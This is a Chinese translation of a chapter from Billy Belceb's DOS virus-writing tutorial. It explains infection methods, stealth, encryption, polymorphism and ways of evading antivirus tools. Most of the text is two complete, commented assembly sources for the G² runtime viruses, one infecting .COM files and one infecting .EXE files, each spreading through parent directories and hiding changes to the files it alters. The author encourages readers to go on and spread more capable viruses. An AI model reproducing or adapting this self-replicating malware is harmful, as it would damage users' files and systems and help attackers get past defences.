Billy Belceb病毒編寫教程(DOS篇)一些重要的理論
【一些重要的理論】
~~~~~~~~~~~~~~~~
一個病毒實際上是一個程式,這個程式通常是用匯編編寫的(但也可用其他語言編寫,如PASCAL和C),它能把它自身複製到其它可執行程式或其它的如boot sector或者MBR。彙編並不是人們所形容的“惡魔”,相信我:)
我希望你已經發現了,這裡我還沒有提及宏病毒:如果你想真正的學到東西,我想你能做的最好的事情就是用匯編語言去寫一些病毒。
一個病毒會把它本身附在宿主的尾部(80%的病毒是這樣的),利用MS-DOS會優先執行.com檔案,而不是.exe檔案這個特性(companion virus(伴隨型病毒)),不增加原先檔案的大小(guest infectors和overwriting virus),EXE檔案頭病毒,中間檔案感染病毒,安裝在啟動記錄裡,在MBR裡,甚至採用了壓縮引擎...一個病毒甚至在感染完一個檔案後能減小原來檔案的大小。;) 希望不久後一個病毒能象這樣(超級病毒;))讓我們來看看第一種型別的病毒的執行示意圖;)
_______________
_________ _________ ___| | |<---|
| | | | | | JMP 病毒| | |
| 檔案 |+| 病毒 |---------> |_________| | |
|_________| |_________| | | | |
| | 檔案 | |
| | | |
--->|---------------| |
| | |
| | |
| 病毒 | |
| | |
|_______________|____|
病毒通常會遵循如下相同步驟:
1. 定位要感染的檔案(一直等待直到開啟某些東西,或者搜尋目錄)
2. 檢查某個檔案是否已經被感染
3. 如果已感染,跳過
4. 儲存檔案日期/時間
5. 設定一個跳轉跳到我們的程式碼儲存前幾個位元組
6. 新增病毒主體程式碼
7. 恢復檔案日期/時間
正如你所看到的,非常簡單,但是它們會使用不同的方法來實現這個,我會在以後解釋。
另一種型別的感染過程也能表示出來,但是它更慢,因為我們們要處理目標所有的程式碼,把它存在一個臨時空間裡,寫上我們的病毒程式碼,和目標的原先的程式碼。讓我們看:
_____________
__________ ___________ | |
| | | | | |
| 檔案 | + | 病毒 |-------->| 病毒 |
|__________| |___________| | |
|-------------|↓
| |
| 檔案 |
| |
|_____________|
世界上最差的病毒是那種覆蓋型的病毒。它們是如此的富有破壞性,而且感染也是很容易被檢測出來的,因為它們不能執行目標程式(由於感染方法的原因,它們不能執行目標程式),它們只能執行病毒程式本身。讓我們來看看一幅示意圖:
______________
___________ ___________ | |
| | | | | 病毒 |
| 檔案 |+| 病毒 |------->| |
|___________| |___________| |--------------|
| | <---原先檔案再也不會
|______________| 執行了 :(
一個真正的好主意是檔案中感染(mid-file infection),可能這是最好的感染方法了:病毒更難去除、模擬了...它們通常的對目標程式在隨機的偏移地址寫上病毒程式碼,示意圖如下:
________________
---| | |<---|
| |JMP 病毒 | | |
__________ __________ | |_________| | |
| | | | | | | |
| 檔案 |+| 病毒 |------->| 檔案(I) | |
|__________| |__________| | |________________| |
-->| | |
| 病毒 | |
|________________|____|
| |
| 檔案(II) |
|________________|
| 病毒覆蓋儲存 |
| 的資料 |
|________________|
當然啦,還有更多的感染方法,但是這是一篇為初學者而寫的教程,所以...永遠不要忘記:)
一個病毒有一些不同的phase(階段):
感染(INFECTION):一個病毒通常會出人意料地出現的,在一個檔案中(透過磁碟,e-mail...)或者啟動扇區(boot sector)(磁碟...)。使用者在不知道的情況下執行病毒,那就是病毒開始控制系統的時候了(取代了使用者) ;)
"我擁有控制權"(I-HAVE-THE-CONTROL):這是病毒最有意思的階段,使得使用者高高興興地生活著,把程式借給他的/她的朋友,感染它們,和所有材料。那麼這個病毒就會非常快的感染越來越多的人了。[譯者注:實際上這個階段可概括為傳播階段,原文措辭很難理解]
發作(PAYLOAD):在滿足一定的條件後,病毒將會顯示它的存在了。發作可能會是破壞性的<g>,也可能不會;)。以我個人的觀點,蹩腳的病毒編寫者才會編寫破壞性的病毒,這些卑鄙的人就喜歡從破壞別人的電腦中得到快感,好一點的發作是那些正宗的病毒,它們給使用者帶來了驚奇。當然了,也有從來不發作的病毒,這類病毒除了複製自己之外,什麼事也不幹(Hi Patty Bitchman!)。
在這篇教程中,我將要討論一些其它的話題諸如:
病毒自身的保護:我確實很喜歡這個話題。這個通常在防止那些飢渴的傢伙除錯/反彙編我們的病毒。呵呵,一個優秀的病毒作者能反彙編他/她想要反彙編的任何病毒,Tcp/29A和Darkman/29A...就是榜樣。
隱蔽:為了編寫出出色的病毒,需要偽裝的手段。有許多偽裝的方法(FCB,Handles,SFT,Disinfection-on-the-fly...),我將會介紹其中的一些方法。這樣會使使用者產生一種錯覺,自己機器上沒有任何病毒感染,使他的檔案大小在感染前後完全一樣,在開啟這個檔案之前給它“消毒”(disinfecting)...
加密:這個方法在於加密病毒的主體,使得我們能作為版權的字串不能被懷疑者識別;)它實際上是一種老技術了,但是現在仍然被使用著(但是有一些改變,看下一點)。它使用算術運算來完成加密(XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )
多型性:為了躲避AV(查防毒軟體)的一項技術,是加密的一種擴充套件。目的就是每次產生不同的解密例程,使得對病毒無法掃描,或者使掃描字串儘可能的短。
反-探索:探索式掃描器並不象某些人說的那麼可信。我將表明探索並不象它們看起來的那麼安全。為了避免標誌,解決的方式是一些花招(tricks)。
TUNNELING(地道?坑道?):這個是在獲得“真正”的INT 21h中斷向量時使用,繞過TSR監視,和所有的攔路虎。
ANTI-TUNNELING(反-地道?):AV使用的避開tunneler的武器,成了TSR監視的一個敵人了。它還在停止其它的病毒試圖獲得“我們的”INT 21h的時候非常酷:)
反-引誘(ANTI-BAIT):引誘這種手段是AV使用的在許多檔案中進行多重感染,試圖獲得我們病毒的掃描字串(而且利用它,獲得我們的變異引擎)...我們希望被這樣嗎?當然不!我將會解釋避免感染這種無關程式的使用得最多得方法。
最佳化(OPTIMIZATION):好的病毒總是使用最少的程式碼做最多的事情。在這一小節,你將會看到怎樣用最少的程式碼做最多的事情。
【第一步 執行期病毒】(RUNTIME viruses)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
成功的感染有很多方法。現在我將介紹最古老的一個,執行期方法(也叫直接感染法)。現在,沒有人再來編寫執行期病毒了,因為它們太慢了(sloooooooow,譯者注:很形象),而且它們的存在會被一箇中等感興趣的使用者發現。但是...不要怕!這種方法是特別簡單,但是圈內的所有人,都是以編寫出執行期感染com檔案病毒邁出他們的第一步的。這個方法僅僅是你的病毒開發的第一次親密接觸。一個執行期病毒存在於一個程式中,使用萬用字元("*.com","*.exe","*.*"...)來搜尋檔案,使用DOS-API(當然是INT 21h啦)函式Findfirst和Findnext(4Eh和4Fh)。它還進入其它的目錄而不是實際所在的目錄進行感染。通常這種型別的病毒感染.com和.exe檔案,但是也能感染.sys,.obj,.zip...但要解釋清楚這個我恐怕還需寫一篇教程,而且...你還記得這是為初學者寫的教程嗎? ;)
%COM 檔案感染%
~~~~~~~~~~~~~~
最早的病毒,正如你所能想象的是感染com檔案的病毒。這是你必須搞懂的第一病毒,而且這種病毒,或多或少,所用到的方法,在所有的病毒裡都會用到(TSR等等):
1.開啟檔案
2.儲存時間/日期/屬性
3.儲存開始的(通常 3)位元組
4.計算新的跳轉(jump)
5.添上這個跳轉
6.新增病毒主體
7.恢復時間/日期/屬性
8.關閉檔案
你必須記住的是一個COM檔案的物理程式碼和記憶體中一樣(COM=Copy Of Memory)。DOS會把所有的可用記憶體分配給COM檔案。讓我們看看一個裝載到記憶體中的COM程式:
_______________________________
| |<--------CS=0000h
| Program Segment Prefix(PSP) | |---DS=0000h
| 100h bytes(256d) | |---ES=0000h
|_______________________________| |---SS=0000h
| |<--------CS:IP=0100h
| 程式程式碼和資料 |
| |
| |
| |
| | |---CS=FFFFh (*)堆疊向後增長,自底向頂
| | |---DS=FFFFh
| 堆疊 | |---ES=FFFFh
|_______________________________|<--------SS:SP=FFFFh
一個COM檔案只能有一段(FFFFh bytes)大小減去100h bytes的大小被PSP使用(FFFFh-100h=FEFFh)。但是有一個問題。我們必須節省更多的空間給堆疊的增長所需(每次我們會使用PUSH而忘記了POP,堆疊增長了,而如果它增長了太多的話,將會搞崩潰我們的程式)。我將至少留100h bytes給堆疊。OK? :)
這很容易理解...而且它是邏輯上的!!! ;)
說到邏輯上的東西...我想現在是練習感染COM檔案的好時候了。它是一個蹩腳的病毒。蹩腳?僅僅?比這更甚:最蹩腳的! ;)但是這是一個初學者教程,所以我必須寫它!雖然它使我很惱火!恩,我就不浪費腦力來編寫那樣的東西了,雖然我只要花5分鐘時間就可以寫一個:)(花時間?浪費時間!)
;-----從這裡開始剪下-----------------------------------------------------
;一個非常蹩腳的病毒。不要編譯。不要釋出。
;如果你還複製這個...你就會很蹩腳了!
;但是我希望這個能幫助你走好第一步成為一個出色的病毒編寫者 ;)
;然後你會給我問候 :)
;我討厭編寫我自己的執行期病毒(5分鐘可以寫一個很差的,請相信我,非常煩人,而
;且浪費時間)所以我使用了Dark Angel的程式碼
;對不起,我是一個很懶的人 :)
;彙編用:TASM /m3 lame.asm
;連線用:TLINK /t lame.obj
;Virus generated by G?0.70 (看,我沒有去掉簽名。它不是我寫的!你能做的最蹩
;腳的事情就是把簽名去掉。不要忘記吆! )
;作者:Dark Angel 屬於Phalcon/Skism
;檔案:LAME.ASM
.model tiny
.code
org 0100h
carrier:
db 0E9h,0,0 ; jmp start
start:
mov bp, sp ; Antidebugging get ?offset!
int 0003h ; Int for breakpoints
next:
mov bp, ss:[bp-6]
sub bp, offset next
;----------------------------------------------------------------------
; 解釋:
; 讓我們看,當我們感染一個檔案。所有的offset會偏移目標程式的大小,所
; 以我們選擇一個暫存器(通常BP或者SI),而且我們利用這個簡單的方法給它賦
; 檔案的大小,每次我們使用一個變數,我們必須把這個暫存器作為偏
; 移(這裡是BP)
;----------------------------------------------------------------------
mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
;----------------------------------------------------------------------
; 解釋:
; 上面一段把當前目錄儲存在一個變數裡面。
; 你在這篇教程裡面可以查詢一下有關於DTA結構的介紹。DTA(Disk Transfer
; Address)在仍然屬於命令列的PSP(Program Segment Prefix)的80h byte處。
; 你想直到為什麼...在我們使用命令列的時候使用DTA會發生什麼呢?
; 那就是我們儲存D他的原因(除了我們自己使用之外,毫無疑問了)
;----------------------------------------------------------------------
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb ; Move first byte
movsw ; Move next two
mov byte ptr [bp+numinfect], 0000h
;-------------------------------------------------------------------------
; 解釋:
; 上面一段是恢復被感染COM檔案的前三個bytes,在offset 100h 處還把這個
; offset儲存在DI裡面以備後用。最後一行是把真正感染的個數初始化為0
; (計數器)
;-------------------------------------------------------------------------
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], ''
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
;-------------------------------------------------------------------------
; 解釋:
; 這裡我們所做的就是感染當前目錄下的所有檔案,做完這個後,來到..目錄下,
; 即當前目錄的上一級目錄。
; 當沒有更多的目錄後,我們就來到我們最先所處的目錄。
;-------------------------------------------------------------------------
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
return:
ret
;--------------------------------------------------------------------------
; 解釋:
; 這一段恢復DTA為原先的地址,在Program Segment Prefix(PSP)的offset 80h 處
; 然後返回到原先的offset 100h,為了正常地執行這個檔案。
; (記住我們當di=100h時,執行了push di操作。
;--------------------------------------------------------------------------
old3 db 0cdh,20h,0
infect:
mov ah, 004Eh ; find first
mov cx, 0007h ; all files
findfirstnext:
int 0021h
jc return
;--------------------------------------------------------------------------
; 解釋:
; 在這段程式碼中,我們所做的是在當前目錄下面尋找和儲存在DX裡的萬用字元(在這
; 個例子裡"*.COM"),可以為任意型別的檔案。
; Old3 是處理被感染了的COM檔案的前3位元組。
; 如果沒有符合的檔案,一個進位標誌將會返回,然後跳轉到把控制權交
; 給主程式的處理程式。如果我們發現至少有一個可以感染,就跳轉到接下來的
; 程式碼,處理完了後,再尋找其它檔案。
;--------------------------------------------------------------------------
cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so
;--------------------------------------------------------------------------
; 解釋:
; 這一段處理不要感染command.com這個檔案,檢查檔案在某個位置name+5(DTA+35)
; 有字元 DN (不是ND,是因為這兩個是倒著儲存的!)
;--------------------------------------------------------------------------
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;--------------------------------------------------------------------------
; 解釋:
; 上面一段第一部分有兩個功能:為將來恢復檔案的屬性而儲存檔案的屬性,
; 檢查檔案是否存在或者是否有問題。
; 第二部分在堆疊中儲存4301h(寫屬性的函式)和清除檔案討厭的屬性如只讀
; 屬性 :)
;--------------------------------------------------------------------------
lea dx, [bp+newDTA+30]
mov ax, 3D02h ; Open R/O
int 0021h
xchg ax, bx ; Handle in BX
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
;--------------------------------------------------------------------------
; 解釋:
; 第一部分以讀/寫模式開啟檔案,並把檔案控制程式碼放在BX中,放這裡將會更有用。
; 指令的第二部分獲得檔案的日期和時間然後儲存在堆疊中。
;--------------------------------------------------------------------------
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h
;--------------------------------------------------------------------------
; 解釋:
; 第一部分讀取1Ah 位元組(26) 到讀緩衝區中,為後來做準備。
; 第二部分把檔案指標指向檔案尾,有兩個原因:1.把檔案大小放到AX中
; 2.我們將在檔案尾添上病毒。
;--------------------------------------------------------------------------
cmp word ptr [bp+offset readbuffer], "ZM"
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
;--------------------------------------------------------------------------
; 解釋:
; 第一部分比較開啟的COM檔案的前兩個位元組,為了分辨清楚這個檔案是否是一個
; 錯誤命名的EXE檔案(記住字串必須是倒序)。
; 第二部分檢查以前的感染,比較 病毒大小+目標檔案(被感染前)大小是否和
; 目標檔案的實際大小是否相等。
;--------------------------------------------------------------------------
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw
;--------------------------------------------------------------------------
; 解釋:
; 上面指令的第一部分檢查COM檔案的大小,看看我們能否感染它(COM檔案大小+病毒
; 大小不能>0FFFFh(65535)),如果大於了,PSP 和堆疊會"撐爆"檔案。
; 第二部分把old3的值(3 位元組) 賦到讀緩衝區中。
;--------------------------------------------------------------------------
sub ax, 0003h ; Virus_size-3 ( jump size )
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; Opcode of jmp
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start] ; The beginning of what append
mov cx, heap-start ; Size to append
mov ah, 0040h ; concatenate virus
int 0021h
;--------------------------------------------------------------------------
; 解釋:
; 第一部分計算跳轉到病毒的程式碼並把結果儲存在一個變數中。
; 第二部分把病毒附到目標檔案後面:)
;--------------------------------------------------------------------------
mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;--------------------------------------------------------------------------
; 解釋:
; 第一部分把檔案指標指向檔案開頭,第二部分寫跳轉到病毒的程式碼。
; 第三部分使變數增加以 記住已經成功感染的次數。
;--------------------------------------------------------------------------
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;--------------------------------------------------------------------------
; 解釋:
; 上面指令的第一部分恢復儲存在DTA裡面的檔案的時間和日期。
; 第二部分關閉檔案而第三部分被感染檔案原先的屬性。
; 最後一部分賦AX以呼叫DOS的FindNext函式,並尋找更多的檔案來感染。
;--------------------------------------------------------------------------
signature db "[PS/G]",0 ; Phalcon/Skism G?( old!! )
COMmask db "*.COM",0 ; Must be ASCIIZ ( Ascii string,0 )
dot_dot db "..",0 ; Directory to change
heap: ; this data goes in heap
newDTA db 43 dup (?) ; DTA size, 2Bh
origdir db 65 dup (?) ; Where to store old directory
numinfect db ? ; Handles the number of infections
readbuffer db 1ah dup (?) ; Buffer
endheap:
end carrier
;-----到這兒為此剪下------------------------------------------------------
正如你所看到的,它使如此的簡單,而且程式碼被詳細地註釋了。如果你還不懂,不用往下看了,繼續看COM檔案地感染!!!但是...一個病毒要是僅僅感染COM檔案...而且執行期病毒可能在6、7年前很酷,但如今它太差勁了!在傳播一個執行期病毒之前,我建議你還是再等一段時間吧。幾個月時間足夠使你學好組合語言了,而你如果多花一些時間提高你的技能,那麼,再過幾個月,你將會編寫出有著很強隱蔽能力和巧妙花招的病毒來。
在討厭的Win95中有大量的COM檔案,有意思吧?到目前為止它們經常被使用,但還有個問題。如果我們這麼簡單的感染它們,它們會造成當機的:(解決的方法是儲存檔案的最後七個位元組,在最後兩個位元組添上病毒的大小。
最後指出,對於其他病毒編寫者對你的初學所編寫出來的病毒表現出的不屑一顧請不要在意。有時候這些人(僅僅是少部分人,通常圈內的大部分人很熱心的)忘記了他們起步時其實和你差不多,要相信自己。
不談那些連自己的根都忘記了的人了,接下來談談EXE檔案的感染 。
%EXE 檔案的感染%
~~~~~~~~~~~~~~~~
首先你必須知道的是,感染EXE檔案是和感染COM檔案不同的(我猜聰明的你一定早就知道這個了),EXE檔案可能更大了,而且它們有一個檔案頭HEADER(我想感染EXE檔案最重要的就是掌握這個檔案頭),這個檔案頭包含了我們感染時的重要資料如CS:IP(儲存的時候是倒著的IP:CS),SS:SP(沒有倒著存!!!),段中的檔案大小和所有其它重要的東西。下面給出EXE檔案頭結構:
_______________________________________
| EXE file mark(ZM or MZ) |<----+0000h
|_______________________________________| Size:1 WORD
| Bytes in last page of image* |<----+0002h
|_______________________________________| Size:1 WORD
| Number of pages* |<----+0004h
|_______________________________________| Size:1 WORD
| Number of relocation items |<----+0006h
|_______________________________________| Size:1 WORD
| Size of the header in paragraphs |<----+0008h
|_______________________________________| Size:1 WORD
| MinAlloc in paragraphs |<----+000Ah
|_______________________________________| Size:1 WORD
| MaxAlloc in paragraphs |<----+000Ch
|_______________________________________| Size:1 WORD
| Initial SS* |<----+000Eh
|_______________________________________| Size:1 WORD
| Initial SP* |<----+0010h
|_______________________________________| Size:1 WORD
| Negative checksum |<----+0012h
|_______________________________________| Size:1 WORD
| Initial IP* |<----+0014h
|_______________________________________| Size:1 WORD
| Initial CS* |<----+0016h
|_______________________________________| Size:1 WORD
| Reloacations |<----+0018h
|_______________________________________| Size:1 WORD
| Overlays |<----+001Ah
|_______________________________________| Size:1 WORD
| Reserved/Not used |<----+001Ch
|_______________________________________| Size:1 DWORD?
總長度:變數!
標誌了(*)的表示病毒感染時將會被修改。
EXE檔案可以有不止一個段(segment)(一個為程式碼段,一個為資料段,其它為堆疊段->按照CS,DS,SS的順序)
EXE檔案頭是由聯結器產生的,使用者是不會改變它的。當DOS把EXE檔案裝如記憶體,它看起來如下:
_______________________________
| Program Segment Prefix(PSP) |<-------ES=0000h
| 100h bytes(256d) | |---DS=0000h
|_______________________________|
| Program Code Segment(CS) |<-------CS:IP(由檔案頭指向)
|_______________________________|
| Program Data Segment(DS) |
|_______________________________|
| Program Stack Segment(SS) |<-------SS=0000h
|_______________________________|<-------SS:SP(由檔案頭指向)
正如你所看到的,EXE檔案沒有COM檔案所存在的問題。為了滿足堆疊需要(PUSH和POP),我們擁有整個段(segment)!它仍然向後增長(自底向頂)。
讓我們看看你編寫感染EXE檔案的病毒所需遵循的演算法(一步接一步):
1.以只讀方式開啟檔案(哇!天才!)
2.讀取前1A位元組(26d)資料
3.把它們儲存到一個變數中
4.關閉檔案
5.檢查作為標誌的第一個字(MZ,ZM)
6.如果相等,繼續,如果不相等,轉向16
7.檢查以前是否已被感染
8.如果沒有被感染,繼續,如果已被感染轉向17
9.儲存CS:IP(反過來->IP:CS)為將來恢復EXE檔案用
10.同樣的目的,儲存SS:SP(就按這個順序)
11.計算新的CS:IP和SS:SP
12.修改最後一頁的位元組和頁數
13.重新開啟(但是以read/write模式開啟)
14.寫檔案頭
15.使檔案指標指向檔案尾
16.新增病毒主體
17.關閉檔案
毫無疑問,你該按照上面說的那麼做,如以讀/寫模式開啟檔案只有一次。一定要注意被感染檔案的SP。
我不想再介紹更多的理論來煩你了,請記住這一點,學習編寫病毒的最好的方法是多看其它病毒的原始碼。而且看我已經為你加了註解的病毒原始碼將會更好:)
;-----------從這裡開始剪下----------------------------------------------------
; 到了更有趣的章節,我將把我自己編寫的病毒的原始碼作為例子。
; 那時候,看了這些程式碼,你就會感到很差了 :)
;
; 彙編:TASM /m3 lame.asm
; 聯接: TLINK /t lame.obj
;
; Virus generated by G 0.70
; 作者:Dark Angel 屬於 Phalcon/Skism
id = ';)'
.model tiny
.code
org 0100h
start:
call next
next:
pop bp
sub bp, offset next
;---------------------------------------------------------------------------
; 解釋:
; 這是最普遍的尋找偏移地址(delta offset)的方法了(如果你還不知道什麼是
; delta offset 的話,殺了你自己算了)
;---------------------------------------------------------------------------
push ds
push es
push cs
pop es ; CS = ES
push cs
pop ds ; CS = ES = DS
;---------------------------------------------------------------------------
; 解釋:
; 這次的目標不是一個COM檔案了!請記住這一點!EXE檔案更強大了(比較
; 難一點感染了)。當我們執行一個EXE檔案,每一段指向一個不同的段,所以
; 我們需要調整它們。記住我們不能新增諸如"mov es,ds"的程式碼,所以,需要
; 小小的花招來做這個。使用堆疊:)
;---------------------------------------------------------------------------
mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
int 0021h
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
cwd ; Default drive
int 0021h
;---------------------------------------------------------------------------
; 解釋:
; 你還記得我們的老朋友嗎,DTA?我希望你的回答是yes,如果是not,重新讀整篇
; 教程,上帝會原諒你的!
; 第二個例程也是一段經典的程式,你已經看過了。
;---------------------------------------------------------------------------
lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
movsw
movsw
movsw
movsw
mov byte ptr [bp+numinfect], 0000h
;---------------------------------------------------------------------------
; 解釋:
; 嗨!有新東東啦!第一段的功能是為了將來恢復目標EXE檔案。我希望你知道
; MOVSW這條指令...不知道?Grrr...我解釋給你聽吧,但是其它的疑問....
; 買一本彙編教材!!!MOVSW 從DS:SI移一個字到ES:DI(MOVSB做同樣的事但是
; 移一個位元組)。我們這麼做是因為我們有兩個雙字。我們還可以使用如:
; MOV CX,4 和 REP MOVSW,或者在386+裡,兩個MOVSD。
;---------------------------------------------------------------------------
traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
;---------------------------------------------------------------------------
; 解釋:
; 解釋以前已經解釋過的例程是件痛苦的事...
;---------------------------------------------------------------------------
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], ''
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
pop es ; ES = DS
pop ds
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
;---------------------------------------------------------------------------
; 解釋:
; 已經在感染COM檔案時介紹過了。
;---------------------------------------------------------------------------
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh ; jmp far opcode
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?
return:
ret
;---------------------------------------------------------------------------
; 解釋:
; 這裡是恢復目標EXE檔案。看看這些指令...我們的目的是恢復被感染EXE檔案
; 的原先CS:IP和SS:SP的值。注意在堆疊操作之前,我們必須釋放中斷。
; 然後,我們跳轉到原先的EXE程式碼,如果沒有什麼意外的話,將會按我們
; 預料的發展了 :)
;---------------------------------------------------------------------------
infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;---------------------------------------------------------------------------
; 解釋:
; 這段程式碼看起來還感染COM檔案的那段差不多。因為這段是尋找EXE檔案,
; 清除檔案屬性和其它的
;---------------------------------------------------------------------------
mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
xchg ax, bx
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
;---------------------------------------------------------------------------
; 解釋:
; 嗨,上面的所有程式碼已經在介紹COM檔案感染時見過了。但是從這兒開始到最後,
; 還有有關於EXE檔案感染的更酷的東西呢 :)
;---------------------------------------------------------------------------
cmp word ptr [bp+offset readbuffer], 'ZM'
jnz jmp_close
checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
;---------------------------------------------------------------------------
; 解釋:
; 第一部分比較開啟檔案的前幾個位元組來尋找EXE檔案的簽名(MZ)。G的作者好象
; 忘記了加上比較ZM。第二部分檢查是否已被感染。這個病毒是一個比較老的
; 執行期病毒,它的基本方法是標記已經感染的EXE檔案(把EXE檔案頭的兩個位元組
; 壓棧作為SP)。
;---------------------------------------------------------------------------
skipp:
lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
;---------------------------------------------------------------------------
; 解釋:
; 在這裡為了理解這段程式碼,你必須記起來MOVSW會做什麼(剛在上面介紹的)。OK?
; 這裡恢復開啟EXE檔案的CS:IP和SS:SP的值。
;---------------------------------------------------------------------------
push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
;---------------------------------------------------------------------------
; 解釋:
; 這段程式碼看起來很難理解。但實際上不是。第一部分在readbuffer+8處讀取數值
; (段中的檔案頭大小)。然後把它轉化為位元組。第二部分把檔案大小壓棧。第三部分
; 把檔案大小減去檔案頭大小。第四部分把上面結果除以10存在AX中,把餘數存在
; DX中。然後給SS,IP,SP和CS賦新值。
;---------------------------------------------------------------------------
pop ax ; File length in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
mov word ptr [bp+readbuffer+4], dx ; the EXE header
;---------------------------------------------------------------------------
; 解釋:
; Yeeeha!一些很酷的數學運算!:)首先我們要做的是恢復檔案大小。然後,我們
; 加上病毒的大小。這一大段程式碼的許多運算是計算感染後的檔案頭中的檔案大小
; 並化成512進位制的形式。假設我們有一個513位元組的檔案,那麼這裡我們將得到
; 2,餘數1。最後的指令把計算得到的結果寫到檔案頭中。
;---------------------------------------------------------------------------
pop bx ; restore file handle
mov cx, heap-start
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
int 0021h
xor dx, dx
mov ax, 4200h
xor cx, cx
int 0021h
lea dx, [bp+offset readbuffer]
mov cx, 001Ah
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;---------------------------------------------------------------------------
; 解釋:
; 這一段我們新增病毒主體,然後把檔案指標移到檔案頭。現在我們寫上新的檔案頭
; ,並把計數器加1。
;---------------------------------------------------------------------------
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;---------------------------------------------------------------------------
; 解釋:
; 上面的程式碼我們已經看過了。沒有?看看COM檔案感染部分。:)
;---------------------------------------------------------------------------
signature db "[PS/G]",0 ; Phalcon/Skism G?
EXEmask db "*.EXE",0
dot_dot db "..",0
heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end start
;---------到這裡為止剪下-----------------------------------------------------
是不是講了太多啦?Ok,我知道我必須說一件事。當你理解了感染COM和EXE檔案的概念之後,你的知識將以光的速度增長:)那些執行期病毒是過時的病毒沒關係,重要的是概念。(譯者注:這也是我翻譯此教程的目的.) 當你對所有這些都看懂之後,那你可以隨心所欲地編寫病毒了。
我們要停一會兒時間了。下面介紹幾個更有用的理論知識。
相關文章
- Billy Belceb病毒編寫教程DOS篇---宣告2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---加密2015-11-15加密
